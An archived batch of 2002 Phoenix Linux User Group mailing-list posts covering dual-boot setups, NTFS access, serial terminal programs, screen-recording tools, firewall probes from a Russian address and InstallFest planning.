? I have RedHat 7.3, SuSE 8.0, and > Slackware 7.0 which I would like to have installed on my Dell Optiplex > GX150. I have two drives, one which is partitioned in two. All three > partitions currently in DOS and around 10 GB. Will, for instance, RedHat > LILO recognize all three Distros and allow me to choose which one to > mount upon startup ? As it would with, let's say, one Linux Distro and a > Windows OS ? Yes. It will. Although you probably don't want to use FAT partitions for installation, it sounds like you are ready to go. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 07:18:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (User) Date: Wed, 12 Jun 2002 00:18:36 -0700 Subject: code red virus? Message-ID: <3D06F5CB.84E0A50D@mindspring.com> Lately we have noticed that our friendly firewall is taking hits from what seems to be Russia. At least today it seems to be Russia. Novoisvirsk, it seems like, according to traceroute. I don't know a whole lot about probes like this but am thankful to you folks for your guidance with regard to firewalls. Is there something that we can do with regard to this type of thing? Maybe, just track them down for fun. Where would be a good place to start reading about this sort of thing. We trace routed them throught 25 hops to 217.70.107.151 p151.rnttu.sinor.ru was the last hop on the list. Thank you Roger From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:17:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nismo96) Date: Tue, 11 Jun 2002 12:17:46 -0700 Subject: Linux on Comedy Central? Message-ID: <3D064CDA.6080609@earthlink.net> --------------060306090705020809070207 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I believe his name was Tennesee Tuxedo Ben Chacko nismo96@earthlink.net bob smith wrote: >> >> Hey all, >> Just thought I'd share something interesting with you. >> I don't know if any of you watch Comedy Central to >> regularly but there is a show on there called "Crank >> Yankers". It's a bunch of puppets and prank calls. >> Well one of the calls was from "Special Ed" to a tech >> support line. To my surprise there was a giant Linux >> poster (Linux Inside) on the back of the wall [:)] . >> >> Wonder where it will make its appearance next? Maybe >> some trippy anime show on the Cartoon Network starring Tux. > What was the old cartoon penguin named? His new nephew *IS* out beloved Tux [;-)] EBo -- --------------060306090705020809070207-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:23:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 11 Jun 2002 12:23:47 -0700 Subject: New Notebook Recommendations? Message-ID: <200206111223.47899.voltage_spike@fastmail.fm> I am looking into buying a new notebook computer for use as a general-purpose machine. One of my primary uses on the old laptop was for testing new *nix systems (FreeBSD, various distributions of Linux, etc.). I am considering buying from PC Club (www.pcclub.com), but if anybody else has any suggestions, I am willing to listen. The question I am more interested in, however, is whether I should go with an Intel or an AMD mobile processor. Intel seems to have some very nice features for their mobile line, but I have been unable to locate some good comparisons of the two. If somebody on the list has researched this item, I would love to hear from you. Thank you ahead of time. PS: I would really love an Apple system, but then I couldn't use it as test bed. Still, if someone can sell me on Mac OS X . . . PPS: I am sorry that I butchered the English language in the above message. I am hungry, and my brain is not working properly. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:33:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nismo96) Date: Tue, 11 Jun 2002 12:33:18 -0700 Subject: Linux for Christians Message-ID: <3D06507E.5040909@earthlink.net> --------------080004090400010403080901 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I second the opinion to host the information on PLUG's site. I know that there would be a lot of useful info there. ...and as far as your church trying to limit it's member's use of the Net, why don't they suggest a filter to them? I did a quick search on Google and found several options listed. I personally do not have any filters installed, bu t my pastor and others in my church use them. Ben Chacko nismo96@earthlink.net On Monday 10 June 2002 22:43, Kurt Granroth wrote: >> What *this* site is is yet another Special Interests Group with links >> to software related to their interest. It's no different, really, >> than an animal lover offering links to screensavers, wallpapers, pet >> interaction programs, and the like. Or any low-budget advocacy group >> sharing info on using Linux to advance the cause. > Don't worry. We'd laugh at the cat lovers as well. No harm intended. [;-)] >> I actually did something a *little* similar not that long ago with my >> own church in an attempt to get people to interact more online. I had >> some tutorials and the like written up on how to use Linux and ogg >> vorbis (and was getting into icecast) to allow church members spread >> around the country and the world to still stay in touch. >> Hmm.. although in my case, midway through my work, I was told by the >> Church Board that I was to cease and desist any and all work I was >> doing since the Internet was evil (no joke) and they thought people >> should spend less time online, not more. Ah well. > "Evil"? I think I hear the words of an individual with little experience. They need to keep in mind that the first amendment doesn't just apply to them. In the case of spending more time offline, that is certainly a common thread among society. However, if the religious leader of choice can spend a couple of hours a day talking to people, then they should respect my right to do the same. Your project sounds like it is dying to be placed on the PLUG website, though. [:-)] - -- Voltage Spike --------------080004090400010403080901-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:44:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nismo96) Date: Tue, 11 Jun 2002 12:44:11 -0700 Subject: ride sharing for the InstallFest Message-ID: <3D06530B.9030301@earthlink.net> --------------080807090203050702090104 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I live in Gilbrt and would be happy to give a ride to anyone who needs it. Ben Chacko nismo96@earthlink.net moin, moin, not everyone has a car to get to the InstallFest. Also, some who might be bringing equipment might need help hauling it over. Let's see if we can use the list to organize that a little bit [:)] . ciao, der.hans -- --------------080807090203050702090104-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:43:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: Tue, 11 Jun 2002 12:43:53 -0700 (MST) Subject: XP/Linux dual boot In-Reply-To: <3D062CA1.642704EA@qwest.net> Message-ID: Sure you can - the ntfs module provides read support. You'll probably need to compile support for it into your kernel though. It works like a charm. Gary http://www.linuxchimp.com On Tue, 11 Jun 2002, Kevin Brown wrote: > But then you can't mount and use the Windows partitions under linux. > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:53:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Tue, 11 Jun 2002 14:53:19 -0500 (CDT) Subject: Multimedia Creation Software In-Reply-To: <3D06530B.9030301@earthlink.net> Message-ID: For GNU Enterprise I have been working on some tutorial guides and such. Generally it is much harder to write documentation showing how to do things than to show someone, especially in a highly visual environment. What I would love to do is have a program record all the actions on my screen and record my voice at the same time. This way I could give a presentation, much the way we do at PLUG and at the end I would have an electronic 'video' that I could post on the net as a 'tutorial guide' I would love to do this for classes for PLUG as well. Anyone know of any Free Software that does something like this? -Derek From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 20:32:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 11 Jun 2002 15:32:10 -0500 Subject: code red virus? In-Reply-To: <3D06F5CB.84E0A50D@mindspring.com>; from eroger@mindspring.com on Wed, Jun 12, 2002 at 12:18:36AM -0700 References: <3D06F5CB.84E0A50D@mindspring.com> Message-ID: <20020611153210.D11403@lilly.csoft.net> How are you defining "hits"? On Wed, Jun 12, 2002 at 12:18:36AM -0700, User wrote: Lately we have noticed that our friendly firewall is taking hits from what seems to be Russia. At least today it seems to be Russia. Novoisvirsk, it seems like, according to traceroute. I don't know a whole lot about probes like this but am thankful to you folks for your guidance with regard to firewalls. Is there something that we can do with regard to this type of thing? Maybe, just track them down for fun. Where would be a good place to start reading about this sort of thing. We trace routed them throught 25 hops to 217.70.107.151 p151.rnttu.sinor.ru was the last hop on the list. Thank you Roger ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 20:44:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 11 Jun 2002 15:44:19 -0500 Subject: Multimedia Creation Software In-Reply-To: ; from derek@gnue.org on Tue, Jun 11, 2002 at 02:53:19PM -0500 References: <3D06530B.9030301@earthlink.net> Message-ID: <20020611154419.F11403@lilly.csoft.net> I seem to recall a small program on my old Debian boxes that recorded everything you did on the terminal session. I wish I could remember the name of it tho'??????????? MAybe that would be a starting point? On Tue, Jun 11, 2002 at 02:53:19PM -0500, Derek Neighbors wrote: For GNU Enterprise I have been working on some tutorial guides and such. Generally it is much harder to write documentation showing how to do things than to show someone, especially in a highly visual environment. What I would love to do is have a program record all the actions on my screen and record my voice at the same time. This way I could give a presentation, much the way we do at PLUG and at the end I would have an electronic 'video' that I could post on the net as a 'tutorial guide' I would love to do this for classes for PLUG as well. Anyone know of any Free Software that does something like this? -Derek ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 21:11:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Tue, 11 Jun 2002 14:11:26 -0700 Subject: XP/Linux dual boot In-Reply-To: <3D062CA1.642704EA@qwest.net> References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <200206110915.46929.krycom1@cox.net> <3D062CA1.642704EA@qwest.net> Message-ID: <200206111411.26240.krycom1@cox.net> On Tuesday 11 June 2002 10:00 am, Kevin Brown wrote: Why not? SuSE see's the NTFS just fine. In fact, it's one of the few distro's that do. It auto mounted and installed an icon to work on my windows partition when I originally installed SuSE 8.0 Pro. > But then you can't mount and use the Windows partitions under linux. > > "Richard L. Proctor" wrote: > > On Tuesday 11 June 2002 8:41 am, Nathan England wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > > > > I would install XP in a fat32 partition. Don't use NTFS. > > > As far as I know, you can't modify the fat32 partition that XP is on, > > > or it will break it's crc consistency and it won't boot. > > > > > > I don't know if that means the partition table in general or not. > > > You might try getting a copy of partition magic 7 and use that. > > > If you don't have it, I can loan you a copy of the rescue disks. > > > > > > nathan > > > > I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the > > drive and SuSE on the other half and as a dual boot system. Works fine!! > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 21:48:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Tue, 11 Jun 2002 14:48:43 -0700 Subject: XP/Linux dual boot References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <200206110915.46929.krycom1@cox.net> <3D062CA1.642704EA@qwest.net> <200206111411.26240.krycom1@cox.net> Message-ID: <3D06703A.72FB0839@qwest.net> Read-only to me is not working with it. You couldn't edit the information and stick it back on that partition that it came from. "Richard L. Proctor" wrote: > > On Tuesday 11 June 2002 10:00 am, Kevin Brown wrote: > > Why not? > > SuSE see's the NTFS just fine. > > In fact, it's one of the few distro's that do. It auto mounted and installed > an icon to work on my windows partition when I originally installed SuSE 8.0 > Pro. > > > But then you can't mount and use the Windows partitions under linux. > > > > "Richard L. Proctor" wrote: > > > On Tuesday 11 June 2002 8:41 am, Nathan England wrote: > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > > Hash: SHA1 > > > > > > > > > > > > I would install XP in a fat32 partition. Don't use NTFS. > > > > As far as I know, you can't modify the fat32 partition that XP is on, > > > > or it will break it's crc consistency and it won't boot. > > > > > > > > I don't know if that means the partition table in general or not. > > > > You might try getting a copy of partition magic 7 and use that. > > > > If you don't have it, I can loan you a copy of the rescue disks. > > > > > > > > nathan > > > > > > I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the > > > drive and SuSE on the other half and as a dual boot system. Works fine!! > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:02:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 18:02:45 -0400 Subject: Terminal app? Message-ID: Boy, I feel like this should be obvious but it has not come up before in my Linux life so I have never thought about it. I need a terminal app that comunicates through a serial port. You know, something like that Hyperterminal program on that other OS. Nothing is poping up at me as that app. Doesn't have to be X/GUI but some logging capability would be really nice. Somebody point me to something, please. Alan From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:08:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Tue, 11 Jun 2002 15:08:52 -0700 Subject: Terminal app? Message-ID: <7D2FB294FA311F4299D03CC8D390437071655D@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_ISvcEezc6kJeVBfBgxg77w) Content-type: text/plain; charset="iso-8859-1" CKermit. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: alandd@mindspring.com [mailto:alandd@mindspring.com] Sent: Tuesday, June 11, 2002 3:03 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Terminal app? Boy, I feel like this should be obvious but it has not come up before in my Linux life so I have never thought about it. I need a terminal app that comunicates through a serial port. You know, something like that Hyperterminal program on that other OS. Nothing is poping up at me as that app. Doesn't have to be X/GUI but some logging capability would be really nice. Somebody point me to something, please. Alan ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_ISvcEezc6kJeVBfBgxg77w) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: Terminal app?

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Boy, I feel like this should be obvious but it has = not come up before in my Linux life so I have never thought about = it.

I need a terminal app that comunicates through a = serial port.  You know, something like that Hyperterminal program = on that other OS.  Nothing is poping up at me as that app.  = Doesn't have to be X/GUI but some logging capability would be really = nice.

Somebody point me to something, please.

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= --Boundary_(ID_ISvcEezc6kJeVBfBgxg77w)-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:17:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Tue, 11 Jun 2002 15:17:01 -0700 Subject: Terminal app? References: Message-ID: <3D0676DD.25AB701F@qwest.net> Minicom? alandd@mindspring.com wrote: > > Boy, I feel like this should be obvious but it has not come up before in my Linux life so I have never thought about it. > > I need a terminal app that comunicates through a serial port. You know, something like that Hyperterminal program on that other OS. Nothing is poping up at me as that app. Doesn't have to be X/GUI but some logging capability would be really nice. > > Somebody point me to something, please. > > Alan > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:24:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 15:24:34 -0700 Subject: Lycoris Linux & InstallFest Message-ID: <1023834274.3d0678a2196d7@webmail.freedom2surf.net> Got an email back from Jason Spisak, Marketing Director, Lycoris, http://www.lycoris.com . They are interested in being a part of the InstallFest. Jason will be in touch with Bill. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:13:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Austin Godber) Date: Tue, 11 Jun 2002 15:13:27 -0700 Subject: Terminal app? References: Message-ID: <3D067607.F505516A@asu.edu> Minicom is a console app, and Seyon is the X app. There may be others. Austin alandd@mindspring.com wrote: > > Boy, I feel like this should be obvious but it has not come up before in my Linux life so I have never thought about it. > > I need a terminal app that comunicates through a serial port. You know, something like that Hyperterminal program on that other OS. Nothing is poping up at me as that app. Doesn't have to be X/GUI but some logging capability would be really nice. > > Somebody point me to something, please. > > Alan > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Austin Godber godber@asu.edu Rotten Philomathian From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:15:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 11 Jun 2002 15:15:20 -0700 Subject: Terminal app? In-Reply-To: References: Message-ID: <200206111515.20152.voltage_spike@fastmail.fm> On Tuesday 11 June 2002 03:02 pm, alandd@mindspring.com wrote: > I need a terminal app that comunicates through a serial port. You know, > something like that Hyperterminal program on that other OS. Nothing is > poping up at me as that app. Doesn't have to be X/GUI but some logging > capability would be really nice. I have found Minicom (http://www.netsonic.fi/~walker/minicom.html) to be excellent. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:33:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 11 Jun 2002 15:33:39 -0700 Subject: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. Message-ID: I created a new fat32 partition from free space on my 40GB hdd. Now my dual boot W2K/Mandrake won't boot. I used the "Disk Manager" feature in W2K Pro to create a fat32 partition. It complained that another program was using the hdd or something but I managed to format it anyway and use it within W2K. Now I can't start my linux installation. The W2K still boots. This is my partition map: Primary HTFS 7.81GB Extended 494MB / ext2 or ext3 243MB swap 2.93GB ? ext? 4.6GB /home ext? 3.91GB fat32 << Here's the new one I just made. (G:) 14GB FREE 3.91GB fat32 << Old part. for sharing .mp3 and transfering between OSs. (F:) Here is my error message: Activating swap partitions: swapon: /dev/hda7: Invalid argument [FAILED] Finding module dependencies [OK] Checking filesystems /dev/hda9: The superblock could not be read or does not describe a correct ext2 filesystem. If the device is valid and it really contains an ext2 filesystem (and not a swap or ufs or something else), then the superblock is corrupt, and you might try running e2fsck with an alternate superblodk: e2fsck -b 8193 fsck.ext3: Bad magic number in super-block while trying to open /dev/hda9 /dev/hda8: clean, 587/602656 files, 29306/1204867 Failed to check filesystem. Do you want to repair the errors? (Y/N) (beware, you can lose data) I tried deleting the newly created fat32 but my Mandrake 8.1 still won't start. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:33:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 15:33:47 -0700 Subject: Multimedia Creation Software In-Reply-To: <20020611154419.F11403@lilly.csoft.net> References: <3D06530B.9030301@earthlink.net> <20020611154419.F11403@lilly.csoft.net> Message-ID: <1023834827.3d067acba1e2f@webmail.freedom2surf.net> Quoting Mike : > I seem to recall a small program on my old Debian boxes > that recorded everything you did on the terminal session. > I wish I could remember the name of it tho'??????????? > MAybe that would be a starting point? > > > > On Tue, Jun 11, 2002 at 02:53:19PM -0500, Derek Neighbors wrote: > For GNU Enterprise I have been working on some tutorial guides and such. > Generally it is much harder to write documentation showing how to do > things than to show someone, especially in a highly visual environment. > > What I would love to do is have a program record all the actions on my > screen and record my voice at the same time. This way I could give a > presentation, much the way we do at PLUG and at the end I would have an > electronic 'video' that I could post on the net as a 'tutorial guide' > > I would love to do this for classes for PLUG as well. Anyone know of any > Free Software that does something like this? > > -Derek > This sounds close - RapidBuilder for Linux v1.0, a Linux-based simulation tool that enables developers to capture and edit live Linux desktop sessions in order to produce interactive, multimedia Linux simulations. http://www.xstreamsoftware.com/news_rblinux.htm I found some other software based on Flash or Java as well. What you want, of course, is something like Lotus ScreenCam but for Linux. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:52:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 11 Jun 2002 15:52:00 -0700 Subject: Lycoris Linux & InstallFest In-Reply-To: <1023834274.3d0678a2196d7@webmail.freedom2surf.net> References: <1023834274.3d0678a2196d7@webmail.freedom2surf.net> Message-ID: <0206111552000Z.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 How interested? Enough to list on the contributors page? Btw, I contacted our UG Liason at O'Reilly. She wont be back into the office until next Monday, but I expect to hear from her early next week. On Tuesday 11 June 2002 15:24, you wrote: > Got an email back from Jason Spisak, Marketing Director, Lycoris, > http://www.lycoris.com . They are interested in being a part of the > InstallFest. > > Jason will be in touch with Bill. > > Dennis > > > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQZ/ECsk3ywszI1FEQIUUwCdE8H554IMKu0iwa4xftihKwGv/hsAnjvr hr4UE1vJ4BnMdj9LiThmfKv3 =3MKb -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 23:29:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 16:29:09 -0700 Subject: Lycoris Linux & InstallFest In-Reply-To: <0206111552000Z.08309@nova.wedge.org> References: <1023834274.3d0678a2196d7@webmail.freedom2surf.net> <0206111552000Z.08309@nova.wedge.org> Message-ID: <1023838149.3d0687c57cb7d@webmail.freedom2surf.net> Quoting Jim : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > How interested? Enough to list on the contributors page? > Lycoris' Marketing Director, Jason Spisak says he is serious about coming down for the InstallFest and will personally demonstrate Desktop/LX. Seems he grow up in Mesa. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 23:55:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 11 Jun 2002 16:55:06 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206111223.47899.voltage_spike@fastmail.fm> Message-ID: <200206112355.TAA07496@hostinworld6.com> If you're going to the installfest, i'll burn you a copy. Just don't expect support from me. On 11 Jun 2002 12:23:47 -0700, Logan Kennelly wrote: > I am looking into buying a new notebook computer for use as a > general-purpose machine. One of my primary uses on the old laptop was > for testing new *nix systems (FreeBSD, various distributions of Linux, > etc.). > > I am considering buying from PC Club (www.pcclub.com), but if anybody > else has any suggestions, I am willing to listen. > > The question I am more interested in, however, is whether I should go > with an Intel or an AMD mobile processor. Intel seems to have some very > nice features for their mobile line, but I have been unable to locate > some good comparisons of the two. If somebody on the list has > researched this item, I would love to hear from you. > > Thank you ahead of time. > > PS: I would really love an Apple system, but then I couldn't use it as > test bed. Still, if someone can sell me on Mac OS X . . . > > PPS: I am sorry that I butchered the English language in the above message. > I am hungry, and my brain is not working properly. > > -- > Logan Kennelly > ,,, > (. .) > --ooO-(_)-Ooo-- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 23:57:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 11 Jun 2002 19:57:01 -0400 Subject: code red virus? References: <3D06F5CB.84E0A50D@mindspring.com> Message-ID: <3D068E4D.13757D40@georgetoft.com> Try: $ whois 217.70.107.151@whois.ripe.net There's not much you can do. In my experience, the poorer the country, the less they care about anything you have to say. If you offer them some good ol' US greenbacks, they might change their tune. Why do you think the bulk of the spam comes from China and Taiwan? Because they don't care about netiquet - they want the cash. George User wrote: > > Lately we have noticed that our friendly firewall is taking hits from > what seems to be Russia. At least today it seems to be Russia. > Novoisvirsk, it seems like, according to traceroute. > I don't know a whole lot about probes like this but am thankful to you > folks for your guidance with regard to firewalls. > > Is there something that we can do with regard to this type of thing? > Maybe, just track them down for fun. Where would be a good place to > start reading about this sort of thing. > > We trace routed them throught 25 hops to 217.70.107.151 > > p151.rnttu.sinor.ru was the last hop on the list. > > Thank you > Roger > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 00:02:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 11 Jun 2002 20:02:31 -0400 Subject: Windows and Linux References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <3D055C10.29367AC0@georgetoft.com> <200206102200.00787.plug@the-arcanum.org> <3D05E163.2F12A01A@georgetoft.com> <3D05FCB9.1020001@asu.edu> Message-ID: <3D068F97.13F73297@georgetoft.com> Are we talking the same version? Or did they have a recent pricing structure change? George Roderick Ford wrote: > > For personal use, the price is ~$120...used to be $99. > > Rod > > George Toft wrote: > > Hi Nathan, > > > > The price for vmware is $299. > > > > George > > > > > > Nathan England wrote: > > > >>-----BEGIN PGP SIGNED MESSAGE----- > >>Hash: SHA1 > >> > >>George, > >>How much did you pay for vmware? > >> > >>Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: > >> > >>>My experience with vmware is very positive. Issues with vmware: > >>>- I cannot listen to Internet Radio at kccnfm100.com. Even with four > >>>new software > >>>downloads, three reboots (virtual), and 2 crashes, all I got was static. > >>>- vmware does not do streaming media via USB. Want to use a USB > >>>camera? Forget it. > >>>- vmware with sound is usually preceeded with a loud pop. > >>>- vmware does not support directx very well (if at all). > >>> > >>>Other than that, it lets me do my taxes, browse using IE 5.5, and gives > >>>me blue screens, > >>>just like the real thing. > >>> > >>>George > >>> > >>>Mike Porter wrote: > >>> > >>>>Ok, this is intriguing to me. I am looking to migrate my house over to > >>>>Linux, but I have some apps for which I cannot find comparable *nix > >>>>substitutes. (Believe it or not, the request to move torward Linux is at > >>>>my wife's request) > >>>> > >>>>So, those who have experienced VMware, win4lin, and the like, can you > >>>>offer me your best suggestions as far as which you prefer and which > >>>>flavor of Linux you believe is most solid with your choice? Also, any > >>>>gotchas that you can think of would be most helpful. > >>>> > >>>>Also, has anyone run into problems with accessing Windows only devices > >>>>using either of these options? > >>>> > >>>>Mike > >>>> > >>>>-----Original Message----- > >>>>From: Derek Neighbors [mailto:derek@gnue.org] > >>>>Sent: Sunday, May 26, 2002 9:36 PM > >>>>To: plug-discuss@lists.plug.phoenix.az.us > >>>>Cc: punkmmiv@cox.net > >>>>Subject: Re: Windows and Linux > >>>> > >>>>On 26 May 2002 22:44:49 -0700 > >>>> > >>>>Matt wrote: > >>>> > >>>>>I know that Windows and Linux are supposed to operate pretty well > >>>>>together, but the only articles I've read are about installing Linux > >>>>>once Windows is already there. I'm running a pure SuSE 8.0 box and I > >>>>>was wondering if it's possible to install Windows on it while still > >>>>>being able to use my current install? > >>>> > >>>>Try win4lin. It lets you run windows as a window inside your GNU/Linux > >>>>environment. Unlike VMWare and friends it is not a VM. Also, unlike > >>>>WINE it actually works and works well. It will even let windows use > >>>>(read/write) to your GNU/Linux file systems and such. It is not free, > >>>>but neither is M$ Windows (so I assume you dont have a problem with > >>>>that) and it is by far the best way to 'suffer' M$ while not having to > >>>>'leave' a real operating system. > >>>> > >>>>-Derek > >>>>________________________________________________ > >>>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>>>post to the list quickly and you use Netscape to write mail. > >>>> > >>>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >>>>________________________________________________ > >>>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>>>post to the list quickly and you use Netscape to write mail. > >>>> > >>>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >>> > >>>________________________________________________ > >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>>post to the list quickly and you use Netscape to write mail. > >>> > >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >> > >>-----BEGIN PGP SIGNATURE----- > >>Version: GnuPG v1.0.7 (GNU/Linux) > >> > >>iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr > >>UHgqeghEeXKGOxPtBOCylhE= > >>=GPfW > >>-----END PGP SIGNATURE----- > >> > >>________________________________________________ > >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >> > >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > 